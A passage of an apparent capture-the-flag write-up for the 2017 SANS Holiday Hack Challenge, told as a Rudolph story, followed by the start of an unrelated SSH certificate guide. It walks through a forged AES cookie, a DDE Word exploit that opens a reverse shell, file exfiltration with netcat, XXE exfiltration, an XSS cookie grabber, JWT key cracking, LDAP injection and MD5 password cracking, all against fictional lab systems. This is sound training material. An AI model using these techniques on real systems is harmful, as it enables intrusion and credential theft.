There’s a robots.txt file indicating the presence of a file called cookie.txt. That cookie files sounds intriguing, I’m going to grab it using another tcp/80 SSH tunnel.

Screen Shot 2017-12-19 at 12.18.59 PM.png

This cookie.txt file looks like a fragment of Javascript with lots of comments (probably Alabaster’s).  It appears to be describing how to compute a cookie hash using AES256.

It’s kind of hard to parse, but the comments in the Javascript fragment seem to indicate that they are peeling the initialization vector (16 bytes) off of the start of the ciphertext when it is being decrypted.  Then, a successful authentication is determined when the supplied cleartext matches the decrypted ciphertext.  The problem is, if the first 16 bytes of the ciphertext are stripped away to make the IV, then if the supplied ciphertext was only 16 bytes, then after stripping away the IV, the ciphertext would be empty!  Finding a cleartext to match an empty ciphertext is pretty simple… empty = empty!

To manufacture this empty = empty condition, I’ll need create the following cookie:

EWA={"name":"somebody's username", "plaintext": "", "ciphertext":"something with only 16 bytes (32 ASCII characters) after base64 decoding"}

It’s time to take a look at this EWA mail portal.  Specifically, I need to know if the name field in this cookie is actually the user’s name, their username, or something else like and email address.

Screen Shot 2017-12-20 at 9.12.33 AM.png

Poking around with what should be bogus email addresses and bogus passwords, I see an error message “User Does Note Exist. Ex – first.last@northpolechristmastown.com”.  This isn’t a definitive answer to what the format of the name field in the cookie should be, but it’s a reasonable start.

The next question is, where does this cookie get used?  Looking at the HTML source of the EWA login page, a client-side Javsscript script file called custom.js has shows me a couple of candidates…

  • login.js
  • api.js

The script login.js is expecting a JSON POST payload

 { "email": emailaddress, "password": password }

but since I don’t have any passwords that work on this system, I seems unlikely that attacking login.js will prove fruitful.  The api.js script is also expecting a JSON POST payload, but according to api.js the simplest payload it is looking for is just

{ "getmail": "getmail" }

Not only is this simple to work with, it implicitly is telling me that something else is responsible for authenticating the request… something like our cookie.

After a bit of fussing, I defeated Alabaster’s “impenetrable encryption scheme” with the following cookie.

EWA={"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"aaaaaaaaaaaaaaaaaaaaaa"}

This ciphertext is 22-bytes bytes long (ASCII characters are 1 byte per character), when decoded using base64 this results in a binary string exactly 16-bytes in length.

Screen Shot 2017-12-21 at 2.34.43 PM.png

Using this cookie and proceeded to download his entire INBOX (in JSON format).  Using the same technique I proceeded to download the INBOX of all of the elves.  Being the nosy reindeer that I am, I start sifting through the emails looking for interesting things, like email addresses, attachments, you know juicy stuff.

I came across the inboxes to all of the elves (even Sugarplum Mary’s) and some @northpolechristmastown.com email accounts I wasn’t familiar with:

  • tarpin.mcjinglehauser@northpolechristmastown.com
  • jessica.claus@northpolechristmastown.com
  • admin@northpolechristmastown.com
  • reindeer@northpolechristmastown.com
  • santa.claus@northpolechristmastown.com
  • mary.sugerplum@northpolechristmastown.com
    • That lame-brain Alabaster spelled royally screwed up Sugarplum’s email address – last.first ? and since when does sugar have an “E” ?!

I better grab these INBOXes too… not to be nosy, but you know… to do my due diligence.

With the full list of I do some power-grep’ing on the contents of these emails for interesting artifacts like URLs, and blocks of base64 encoded data (likely to be attachments), etc.  Typing using hooves is incredibly inefficient – I wish there was a better way.  Here’s what I’ve found:

Interesting Findings

GreatBook Page 4 [4]

A screenshot of a DDE Exploit POC

Screen Shot 2017-12-21 at 6.03.45 PM.png

A suspicious message exchange between Reindeer (in code? or hoof-mashing?) and Admin (aka Alabaster Snowball) en claire.

hhhhhhhhhhhhhh723yhmn03z2784mn1

4cv24 2 342 34 zx5p2342zx1

42

10xc 3912 934u xd528034y2dnryhrhndr23n 234f 2bd4 5 8g 7238g4508 s23425


On 11/15/2017 11:18 AM, admin@northpolechristmastown.com wrote:
> Keep up the good job reindeer!
>
>
> On 11/15/2017 11:17 AM, reindeer@northpolechristmastown.com wrote:
>> t68 2`x4-`8- 28- 5t 3y=8 m89 cfqlhmniuxdk.hszv3ct79p137p2p t78 23t80 
>> x 601x
>>
>> http://ghk.h-cdn.co/assets/cm/15/11/640x480/54ffe5266025c-dog1.jpg
>>
>> On 11/15/2017 10:28 AM, admin@northpolechristmastown.com wrote:
>>> Hi,
>>>
>>> Welcome to your new account.
>>
>

However, I took a look at Great Book Page 4 and here is what I learned from these pages that would be interesting to Santa:

  • Elves and Munchkins are identical in appearance.
  • There’s a significant amount of hostility between the Elves and Munchkins.
  • The “Lollipop Guild” is a squad of Munchkin elite militia that are deemed terrorists by the Elves, and they attempt to disrupt or destroy Santa’s Christmas Day delivery operations.
  • It is believed that a Munchkin Mole has penetrated Elven society (even the Elven Elite).

Wow.  I need a moment to process all this… this is getting pretty heavy.

The email (and accompanying screenshot) from Minty Candycane about DDE attacks using Microsoft Word has my curiosity piqued.  If Minty is right, and Alabaster’s faith in his security prowess is over-inflated – I think it might be time to finally pop that over-inflated ego.

In the emails I obtained, Alabaster was bragging about having netcat (nc.exe) installed, and also that he was so interested in getting Mrs. Claus’ gingerbread cookie recipe in .docx format that he’d click any prompts that Word popped up.  We should be able to use that against him.  First I’m going to create a fake gingerbread cookie recipe in Word, and add in the following DDE exploit:

Screen Shot 2017-12-23 at 1.46.54 PM.png

(With all the Munchin Moles about, I don’t want to disclose my IP address lest I be targeted next!)

Next, I’ll tunnel my into the internal network again using the L2S server, and send the following email to Alabaster Snowball:

Screen Shot 2017-12-23 at 1.44.35 PM.png

Before clicking “Send”, I’ll make sure my netcat listener is listening for the reverse shell connection.  Then it’s just a waiting game… After a while the connection is established and I am connected to a reverse shell on Alabaster’s Windows system.

Screen Shot 2017-12-23 at 8.11.25 PM.png

After poking around I found in the root of C:\ drive another missing page GreatBookPage7.pdf [12].

Screen Shot 2017-12-23 at 8.11.44 PM.png

To download the GreatBook page I started another netcat listener on my laptop:

nc -nlvp 4243 > GreatBookPage7.pdf

and on Alabaster’s machine I ran

nc -w3 XXX.XXX.XXX.XXX 8080 < GreatBookPage7.pdf

Why are the port numbers different (4243 vs 8080) ? My attack laptop is sitting behind a firewall of course, I’m port forwarding all traffic directed to my firewall on port 8080 to port 4243 on my laptop.

Page 7 of the Great Book describes the witches of Oz.  I’ve never really given much thought to witches… don’t get me wrong, I knew about them, but since they never show up in the North Pole I never really gave them much thought.  You know… they became kind of like wallpaper – you know that they are there, but you really don’t pay much attention to them.  Anyways, this Great Book page explains that witches chose to remain neutral after the Great Schism because of the great power that their magical abilities bestowed upon them.  Were they to side with the Elves or Munchkins it would dramatically shift the balance of power.


Santa SitRep (Question 5)

Munchkin Moles?  Lollipop Guild terrorists ? Covert encrypted emails… this was getting serious.  I paused for a moment and looked at what I’ve uncovered so far – and it didn’t seem like much.  All that I had found out for sure was the Alabaster Snowball was a serious security liability.  All of the other stuff about terrorists,  moles, and covert communications was just preliminary findings with little hard data to back it up.

After what seemed like HOURS of staring at this laptop screen I figured Santa will be showing up for a situation report, and I didn’t have much to tell him. I had discovered the names of two moles from the BOLO: Munchkin Mole Advisory document I found:

  • Boq Questrian
  • Bini Aru

It was then that I decided to branch out and see if I could shed some light on the identities of other moles.  What better place to start than the police department?

The NPPD website has an infractions list which seems like a good place to start finding ne’ver-do-wells.  I recall Minty Candycane gossiping about two individuals being in an altercation that involved hair pulling, rock throwing, and giving out super-atomic wedgies.  It’s be great if I can use that information on the NPPD’s infraction list to get a name of these two potential spies/moles.  The trouble with this infractions list is that it doesn’t appear to take wildcards, and it only shows me 25 hits at a time, and correlating information is almost impossible.

However, using the download link at the bottom of the page I can obtain the entire list.  Since I want everything, my query will be

title:*

Now it’s time to do some data analysis.  I’ll first need to convert this JSON to CSV so that we can pull it into Excel.  This can be done online, or using the programming language of your choosing, I choose the online tools 🙂

Now – let’s first figure something that’s been bothering me for ages – how does Santa determine whether you go on the Nice or Naughty list ?  To do this I’ll need to import Santa’s Nice and Naught List.csv file I found on the SMB server, and then I’ll need to correlate the two lists using the VLOOKUP() function based on each persons name.

Next I’ll need to analyze the naughty people and find out what they all have in common.  A Pivot Table of people’s names, with a filter on “Naughty”, and let’s count the number of 1st coals for each person (this will give me the number of infractions they have – as you can never have a 2nd coal, 3rd coal, 4th coal or 5th coal without a 1st coal).

Screen Shot 2017-12-24 at 9.03.50 PM.png

Well well well – you’re guaranteed to be on the Naughty list if you have 4 or more infractions.

The BOLO: Munchkin Mole report described two moles Boq Questrian and Bini Aru as pulling hair and throwing rocks.  Minty Candycane also described an altercation involving Munchkin moles that involved pulling hair, throwing rocks, and super-atomic wedgies.  So it seems safe to assume that some combination of hair pulling, rock throwing and super-atomic wedgies are the modus operandii of Munchkin moles.  If I assign letter codes (A through V) to the various infractions, and concatenate all the infractions letter codes for each person into a string, then the Munchkin moles should be identifiable by infraction letter code strings that contain the following letter combinations: (A and J) or (A and S) or (A and T) or (J and S) or (J and T).

Screen Shot 2018-01-03 at 12.34.17 PM.png

 

Santa came in and inquired “So, Rudolph, what have you figured out?” I showed Santa what I was working and I concluded “So, I can say with certainty that the list of Munchkin moles includes the following people who did some combination of {rock throwing, hair pulling, and atomic wedgie giving}:

  • Beverly Khalil
  • Bini Aru
  • Boq Questrian
  • Christy Srivastava
  • Isabel Mehta
  • Kristy Evans
  • Nina Fitzgerald
  • Sheri Lewis
  • Wesley Morton

Santa open his mouth as if to speak, but said nothing.

“Santa?  What is it?”  I asked.  Santa stood staring at the list of names on my screen.  Without looking up he said… “Those… those are the Nazgul-Nine – the nine elves… that I assigned to help the Abominable Snow Monster adapt to life with elves…” he trailed off and took a few minutes to complete his sentence as if he was trying to fully assemble his thoughts before finishing.   “Of course! How could I be so blind! Nobody else in the North Pole would be strong enough… those 9 ‘elves’ must have… yes… those Munchkins must have drugged, or blackmailed the Abominable Snow Monster!”

Now it was my turn to assemble my thoughts…

“Wait… what? Are you saying the Munchkin moles turned the Abominable Snow Monster against us?  He is responsible for throwing all these snowballs at us?

Still staring at the screen, Santa just nodded gravely without saying another word.


The Weather (Question 6)

Santa was clearly upset by the evidence I showed him about the Munchkin Moles – I could see him getting more are more weary as I named names.  I tried to change the subject to something less depressing – I asked him about his upcoming flight and how the weather forecasts were looking.

Santa shoulders slumped even further. “Those tornadoes… I’ve never seen them this bad…”  He continued “… we get inter-dimensional tornadoes ever few years, but nothing like this… never like this.”   He stood there staring off into the distance for a few moments, and then absentmindedly left the room.  Me and my big mouth.

Instead of lightening his emotional burden, I inadvertently threw gasoline instead of water onto his emotional embers.  I felt that I needed to ease his mind… it was time to get to the bottom of this weird weather phenomenon.   To solve this problem, I’lll definitely need some assistance – some additional elf assistance.  I heard a few weeks prior that Santa’s engineering team was launching a new EaaS service where you can enlist cloud-enabled elves to assist you when your “holiday season gets challenging” – I think this qualifies!  Santa’s EaaS engineering team is all about getting services launched.  Their DevOps mindset tends to be ready-fire-aim tends to get them in a bit of trouble with security because they think buttoning things down properly takes too much time.    Blitzen works on the EaaS team – he’s the worst offender.  I remember one time when he was sharing his screen there were dozens of  text files on his IIS server in the root of C: .  I think one of them was called greatbook.txt – what a dope!  Anyways…

I fired up my SSH tunnel through the L2S system (thanks again Alabaster, your credentials are invaluable!) and hit the EaaS website.

Screen Shot 2017-12-24 at 5.14.18 PM.png

It looks like to request elves using EaaS, you need to upload your requirements in XML format.  It’s funny, I remember reading a SANS article yesterday about the dangers of allowing XML upload – there’s a vulnerability called XXE (XML External Entity) where if you don’t impose a DTD (Document Type Definition) on the uploaded XML, an attacker could use a malicious one and cause sensitive data that was otherwise not accessible to be exfiltrated from your network… anyways… where was I?

Having never used this system before, I needed to see the example XML file to use as a template to build my request for elves to help me with my weather forecasting problem…

Screen Shot 2017-12-24 at 5.20.21 PM.png

What the… those bone-heads forgot the DTD on this XML template.   Well, probably just an oversight – I’m sure the server does the necessary validation on the uploaded XML… right?  <gulp>

I better take a closer look.

The first step will be to create a “totallynotevil.dtd” DTD file that will try to exfiltrate that greatbook.txt file by uploading the contents of that file to a CGI script I have running on my laptop (yeah – those X’s are my IP address – sorry Moles… not this time!).

Screen Shot 2017-12-24 at 5.24.30 PM.png

The next step will be to create a malicious XML file to upload to the EaaS site.  This XML file will download the malicious DTD file I created from the same webserver on my laptop.

Screen Shot 2017-12-24 at 5.25.12 PM.png

All that’s left now is to start up my webserver, and submit my XML file.

Screen Shot 2017-12-24 at 4.12.14 PM.png

So far so good… maybe all this talk about Munchkin Moles has got me all parano-

Screen Shot 2017-12-24 at 4.12.49 PM.png

… crap.

Well – at least I’ve got the URL to the only missing Great Book Page, page 6 [13].  I see in my future an urgent RFC to close another vulnerability…

While I’m here I might as well take a peek at this page… it’s entitled The Dreaded Inter-Dimensional Tornadoes.  How fortuitous!  I managed to get some useful information on these blasted tornadoes that might help Santa after all!

Cheer Up (Question 8 & 9)

This new information about the inter-dimensional tornadoes will certainly pick up Santa’s spirits, but it isn’t exactly going to help him sleep easier – there still is this issue of identifying and stopping the person who is trying to ruin Christmas.  If only I had more information about the people in the North Pole… a directory of who’s who would be super useful…  Wait – I can probably use the information in the Elf Database (EDB) to help me with this research!  For security reasons, the EDB is only accessible from the internal North Pole network… so I’ll need to connect to it through another SSH tunnel.

Screen Shot 2018-01-01 at 3.19.33 PM.png

Like I said before, let’s conserve energy by trying the easy things first.  Let’s try alabaster.snowball|stream_unhappy_buy_loss to see if that let’s us in without resorting to any elite skillz – nope.  Ok, plan B – time to snoop around.

Here’s what I can see:

  • From the page source of /index.html
    • It appears that the EDB web application is protected by username/password pair that is collected by /index.html and sent to /login for validation.
    • The /login resource appears to return:
      • An authentication token (in result.token) which is also called np-auth and stored in localStorage.
      • A boolean true/false condition (in result.bool) as to whether the provided credentials were good or not.
      • The URI (in result.link) to the next page after successfully logging in.
  • From /js/custom.js
    • There appears to be some rudimentary XSS protection which is looking for any upper-/lower-case combination of the word “SCRIPT” in the message field.
  • From an Nmap scan
    • There appears to be a /dev resource listed in the robots.txt file.

Screen Shot 2018-01-01 at 3.34.22 PM.png

The /dev resource on the EDB server appears to show an LDIF file (LDIF_template.txt) that describes the structure of the LDAP directory on this server…. I’m sure that will come in handy at some point…

Screen Shot 2018-01-01 at 9.51.28 AM.png

It’s funny, by instituting the simple XSS protections in the /js/custom.js the author has likely left me a smoldering ember.  It’s the firefighter’s worst nightmare – they run into a burning house and put out the visible flames.  With no other obvious fires, they pack up their hoses and leave only to discover that the fire was still smoldering inside the walls and a few hours later the house is reduced to ashes.  Life Pro Tip:  If you’re going to do something – do it right the first time.  After a few minutes of poking around, I’ve discovered another XSS vulnerability.

Knowing that there is an authentication token called np-auth being used, I try and exfiltrate one from the elves running the Helpdesk (probably Wunorse Openslae).

Screen Shot 2017-12-27 at 9.56.18 PM.png

With a judiciously place cookie grabber (c.php) on a webserver running on my laptop I see a few minutes later in the logs:

35.196.239.128 - - [28/Dec/2017:02:52:32 +0000] "GET /c.php?c=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1" 404 47 "http://127.0.0.1/reset_request?ticket=I1ICX-TI39E-ZKFBW-IOQJM" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

That looks like a JSON Web Token (JWT) since it’s 3 base64 encoded sections separated by periods.  A fact which is confirmed by:

Screen Shot 2018-01-01 at 4.08.03 PM.png

The third part (not shown above) is where the cryptographic signature is stored.  There’s not point trying to manipulate any of these fields unless I can recalculate the signature, and to do that I’ll need to crack the key… so I better get crackin’.

I know that Alabaster Snowball was responsible for the creation of this JWT, and given his previous track record on encryption, it’s likely he’s done a poor job creating a JWT that can resist bruteforce cracking.  I’ve used John The Ripper many times in the past, so if possible I’d like to try cracking this JWT using John.  The jwt2john Python script quickly converts the JWT to a hash that John can understand.

$ python jwt2john.py `cat ~/jwt` > jwt

Then it’s just matter of letting John do it’s thing… and in less than a minute, John has found a key

3lv3s

Screen Shot 2017-12-28 at 10.14.36 PM.png

Now that I have a key used to create the JWT signature, I can create new JWT with whatever payload I want, and create a bonafide signature for it as well.  But what JWT should I create?  I know that Wunorse Openslae works on the Helpdesk – he’d probably make a good victim.  So using the existing JWT as a template, I’m going to create a new JWT to impersonate Wunorse Openslae.

Screen Shot 2018-01-01 at 5.47.56 PM.png

Here is where things get a little sticky.  I have a JWT I want to use, and I know it needs to be inserted as a cookie called np-auth.  When I perform a POST request to /login with this forged cookie, I get a successful authentication response from the EDB server:

Screen Shot 2018-01-01 at 5.53.13 PM.png

But for whatever reason, when I send this cookie as an np-auth or auth_token cookie (or HTTP header) to the /home.html resource, my browser gets redirected back to /index.html.   In the /home.html source I see the section of Javascript that is responsible for this redirection, and the condition that causes it…

Screen Shot 2018-01-01 at 5.55.02 PM.png

so in an act of extreme inelegance I decide that the simplest solution is manufacture the appropriate condition on the Javascript console by enabling response interception in Burp and forcing the configuration using:

localStorage.setItem("np-auth","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjAwLjI0ODA5MyswMDowMCIsInVpZCI6Ind1bm9yc2Uub3BlbnNsYWUifQ.aN4UQh0AxLq8hKVJtSmiaMfFxIlP-zKlmZVxvGbKQro")

Crude… I know. :/  But it works!

Screen Shot 2018-01-01 at 8.45.54 PM.png

Now this appears to be a directory search portal, and if the LDIF file that I found earlier has any role to play, the backing directory is likely LDAP.  This means that I’ll need to dust off LDAP search filter syntax as I suspect I’m about to do some LDAP injection.

The LDIF template file mentioned three distinct OU’s { elf, reindeer, and human }, but the user interface I see doesn’t let me select anything other than elf or reindeer.  We’ll just see about that…

It doesn’t take long but the following query triggers a use LDAP injection:

))(|(cn=

Regardless of whether elf, or reindeer was selected, I see what appears to be the complete directory of all elves, reindeer and humans.

personnel.png

With Burp in intercept mode, I resubmitted this query and tried messing about with the query parameters to see if I might be able to extract more information from the LDAP directory.  According to the LDIF template, there should be an interesting field called userPassword.  On my first attempt I swapped userPassword with the description field in the attributes={…} part of the request, and I hit pay dirt.

[[["cn=rudolph,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["rudolph"],
"mail":["rudolph@northpolechristmastown.com"],
"profilePath":["/img/elves/rudolph.PNG"],
"sn":["rudolph"],
"telephoneNumber":["123-456-7894"],
"uid":["rudolph"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=blitzen,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["blitzen"],
"mail":["blitzen@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["blitzen"],
"telephoneNumber":["123-456-7894"],
"uid":["blitzen"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=donner,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["donner"],
"mail":["donner@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["donner"],
"telephoneNumber":["123-456-7894"],
"uid":["donner"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=cupid,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["cupid"],
"mail":["cupid@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["cupid"],
"telephoneNumber":["123-456-7894"],
"uid":["cupid"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=comet,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["comet"],
"mail":["comet@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["comet"],
"telephoneNumber":["123-456-7894"],
"uid":["comet"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=vixen,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["vixen"],
"mail":["vixen@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["vixen"],
"telephoneNumber":["123-456-7894"],
"uid":["vixen"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=prancer,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["prancer"],
"mail":["prancer@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["prancer"],
"telephoneNumber":["123-456-7894"],
"uid":["prancer"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=dancer,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["dancer"],
"mail":["dancer@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["dancer"],
"telephoneNumber":["123-456-7894"],
"uid":["dancer"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=dasher,ou=reindeer,dc=northpolechristmastown,dc=com",
{"department":["aviation"],
"gn":["dasher"],
"mail":["dasher@northpolechristmastown.com"],
"profilePath":["/img/elves/reindeer.PNG"],
"sn":["dasher"],
"telephoneNumber":["123-456-7894"],
"uid":["dasher"],
"userPassword":["ff943fe99491b32ea387489106517af4"]}]],

[["cn=tarpin,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["tarpin"],
"mail":["tarpin.mcjinglehauser@northpolechristmastown.com"],
"profilePath":["/img/elves/elf7.PNG"],
"sn":["mcjinglehauser"],
"telephoneNumber":["123-456-4740"],
"uid":["tarpin.mcjinglehauser"],
"userPassword":["f259e9a289c4633fc1e3ab11b4368254"]}]],

[["cn=holly,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["holly"],
"mail":["holly.evergreen@northpolechristmastown.com"],
"profilePath":["/img/elves/elfgirl3.PNG"],
"sn":["evergreen"],
"telephoneNumber":["123-456-4741"],
"uid":["holly.evergreen"],
"userPassword":["031ef087617c17157bd8024f13bd9086"]}]],

[["cn=mary,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["mary"],
"mail":["mary.sugerplum@northpolechristmastown.com"],
"profilePath":["/img/elves/elfgirl2.PNG"],
"sn":["sugarplum"],
"telephoneNumber":["123-456-4745"],
"uid":["mary.sugarplum"],
"userPassword":["b9c124f223cdc64ee2ae6abaeffbcbfe"]}]],

[["cn=sparkle,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["sparkle"],
"mail":["sparkle.redberry@northpolechristmastown.com"],
"profilePath":["/img/elves/elfgirl.PNG"],
"sn":["redberry"],
"telephoneNumber":["123-456-4748"],
"uid":["sparkle.redberry"],
"userPassword":["82161cf4b4c1d94320200dfe46f0db4c"]}]],

[["cn=wunorse,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["kitchen"],
"gn":["wunorse"],
"mail":["wunorse.openslae@northpolechristmastown.com"],
"profilePath":["/img/elves/elf5.PNG"],
"sn":["openslae"],
"telephoneNumber":["123-456-7812"],
"uid":["wunorse.openslae"],
"userPassword":["9fd69465699288ddd36a13b5b383e937"]}]],

[["cn=minty,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["Minty"],
"mail":["minty.candycane@northpolechristmastown.com"],
"profilePath":["/img/elves/elf4.PNG"],
"sn":["candycane"],
"telephoneNumber":["123-456-7812"],
"uid":["minty.candycane"],
"userPassword":["bcf38b6e70b907d51d9fa4154954f992"]}]],

[["cn=shimmy,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["workshop"],
"gn":["Shimmy"],
"mail":["shimmy.upatree@northpolechristmastown.com"],
"profilePath":["/img/elves/elf3.PNG"],
"sn":["upatree"],
"telephoneNumber":["123-456-7892"],
"uid":["shimmy.upatree"],
"userPassword":["d0930efed8e75d7c8ed2e7d8e1d04e81"]}]],

[["cn=pepper,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["Security"],
"gn":["Pepper"],
"mail":["pepper.minstix@northpolechristmastown.com"],
"profilePath":["/img/elves/elf3.PNG"],
"sn":["Minstix"],
"telephoneNumber":["123-456-7892"],
"uid":["pepper.minstix"],
"userPassword":["d0930efed8e75d7c8ed2e7d8e1d04e81"]}]],

[["cn=bushy,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["Engineering"],
"gn":["Bushy"],
"mail":["bushy.evergreen@northpolechristmastown.com"],
"profilePath":["/img/elves/elf2.PNG"],
"sn":["Evergreen"],
"telephoneNumber":["123-456-7891"],
"uid":["bushy.evergreen"],
"userPassword":["3d32700ab024645237e879d272ebc428"]}]],

[["cn=alabaster,ou=elf,dc=northpolechristmastown,dc=com",
{"department":["Engineering"],
"gn":["Alabaster"],
"mail":["alabaster.snowball@northpolechristmastown.com"],
"profilePath":["/img/elves/elf1.PNG"],
"sn":["Snowball"],
"telephoneNumber":["123-456-7890"],
"uid":["alabaster.snowball"],
"userPassword":["17e22cc100b1806cdc3cf3b99a3480b5"]}]],

[["cn=jessica,ou=human,dc=northpolechristmastown,dc=com",
{"department":["administrators"],
"gn":["Jessica"],
"mail":["jessica.claus@northpolechristmastown.com"],
"profilePath":["/img/elves/mrsclause.png"],
"sn":["Claus"],
"telephoneNumber":["123-456-7893"],
"uid":["jessica.claus"],
"userPassword":["16268da802de6a2efe9c672ca79a7071"]}]],

[["cn=santa,ou=human,dc=northpolechristmastown,dc=com",
{"department":["administrators"],
"gn":["Santa"],
"mail":["santa.claus@northpolechristmastown.com"],
"profilePath":["/img/elves/santa.png"],
"sn":["Claus"],
"telephoneNumber":["123-456-7893"],
"uid":["santa.claus"],
"userPassword":["d8b4c05a35b0513f302a85c409b4aab3"]}]]]

I let out a loud sigh.  “Shimmy Upatree?” I knew Alabaster was a lame brain but he’s misspelled not one, but TWO elves names… I wonder why neither Shinny nor Mary haven’t complained about having messed up names?  Oh well.

These password hashes are strings of 32 ASCII characters in length.  This means they are 16 bytes (128 bits) long.  Since they appear to be hexadecimal – one of the most common hashing algorithms that creates 128-bit long hexadecimal hashes is MD5.  Thankfully, many word-based MD5 hashes have been precomputed and are searchable on the internet… As a matter of exhausting the “path of least resistance” first, I better try searching the internet for some of these password hashes and see if I get lucky…

After plugging all the hashes into the Google, the last hash (Santa Claus’) came up.

MD5("001cookielips001") = d8b4c05a35b0513f302a85c409b4aab3

I’m not sure if Santa Claus would appreciate me reverse engineering and using his credentials like this, but I need to get to the bottom of this mystery.  With my SSH tunnel through the L2S system still established, I used Santa’s credentials to log into the EDB server’s webapp.   I clicked on Account > Santa Panel and it prompted me to re-enter Santa’s credentials.

Screen Shot 2018-01-01 at 3.04.56 PM.png

This must be something big – I re-entered Santa’s password and I see a letter to Santa from the Wizard of Oz describing their annual Christmas/Winter Solstice gift exchange.

wizard_of_oz_to_santa_d0t011d408nx.png

I leant back in my chair, crack my knuckles and let out a long sigh of exhaustion.  It’s been a long slog, but I think I’m making some progress here… but I still don’t have any further idea about who is the mastermind behind the Munchkin moles, and the turning of the Abominable Snow Monster…

Like… a movie playing in reverse… my day suddenly started to rewind… something unusual kept happening to me.  As the memories flickered by in minds-eye, my brain struggled to put all the pieces together…

“Oh my god… the woman, it was her!”

In a flash of sudden clarity I could see the face of the blonde haired woman who had 7d243bba75f45d02ca693a1dad3602bd.pngbeen around me all day.  I didn’t know exactly who she was, but I knew she was a witch.  I hastily closed down the laptop I was using and tried to open the door.  It was no use – it was still locked.

As I stood with my hoof on the door handle, the one-way mirror on the wall suddenly became transparent.  The blonde-haired woman stood in the adjacent room – looking at me with a smirk on her face.

“Hello Randolph” she said through the intercom.

“It was you!  You were the one!” I shouted.

“Yes… it was me Glinda the Good Witch, all along.”  Then without pausing, like all super-villains she started to monologue.  “It’s an expensive lifestyle being a witch you know… centuries of avoiding the petty squabbling of the elves and munchkins is far from a profitable career.  Year after year, decade after decade, my fortune slowly shrank.  After seeing the Wicked Witch of West open a chain of chic restaurants in Oz, I realized the time had come to replenish my coffers.  I’m not getting any younger you know! I needed to upgrade my castle and to do that I would need money!  Oh the other witches are content to live in their squalid ivory towers, but I needed more.  I needed MUCH more… and what better way to make millions… no BILLIONS… than to sow the seeds of war and sell military hardware and spells to BOTH sides!”  She cackled maniacally.

After hearing it, the blood was ringing in my ears. I was furious – my brain had shut out all other stimuli except the vitriol growing inside me.  I lowered my eyes at her and growled venomously at her…

“YOU are monsters responsible for getting everybody to call me RANDOLPH!”

 

Fin.

Endnotes & References

[1] Coined by the Gorillaz in the song “Fire Coming Out of A Monkey’s Head”

[2] Coined by David X Cohen in The Simpsons episode “Lisa the Iconoclast”

[3] GreatBookPage1.pdf

[4] GreatBookPage2.pdf

[5] BOLO – Munchkin Mole Report.docx

[6] GreatBookPage3.pdf

[7] MEMO – Calculator Access for Wunorse.docx

[8] MEMO – Password Policy Reminder.docx

[9] Naught and Nice List.csv

[10] Naughty and Nice List.docx

[11] GreatBookPage4_893jt91md2.pdf

[12] GreatBookPage7.pdf

[13] greatbook6.pdf

[14] GreatBookPage5.pdf

 

 

 

Certificate-based SSH authentication

Why?

Certificate-based SSH authentication is superior to SSH keys in many ways;

  • SSH certificates intrinsically possess a validity period before and after which they are invalid for providing authentication.
  • SSH certificates can be embedded with SSH restrictions that limit:
    • Who can use the certificate
    • Which SSH client machines can use the certificate
    • The list of available SSH features (X11Forwarding, AgentForwarding, etc)
    • Commands that can be run via SSH
    • and more!

Requirements

  • Systems running SSH
    • OpenSSH 5.4 or higher
    • Ruby
      • rest-client
    • NTP
      • Time synchronization is strictly speaking optional, but highly recommended especially for certifications that are short-lived.
  • API service running on CA
    • Ruby
      • Sinatra

Setup

For the purposes of this document, let’s consider three systems:

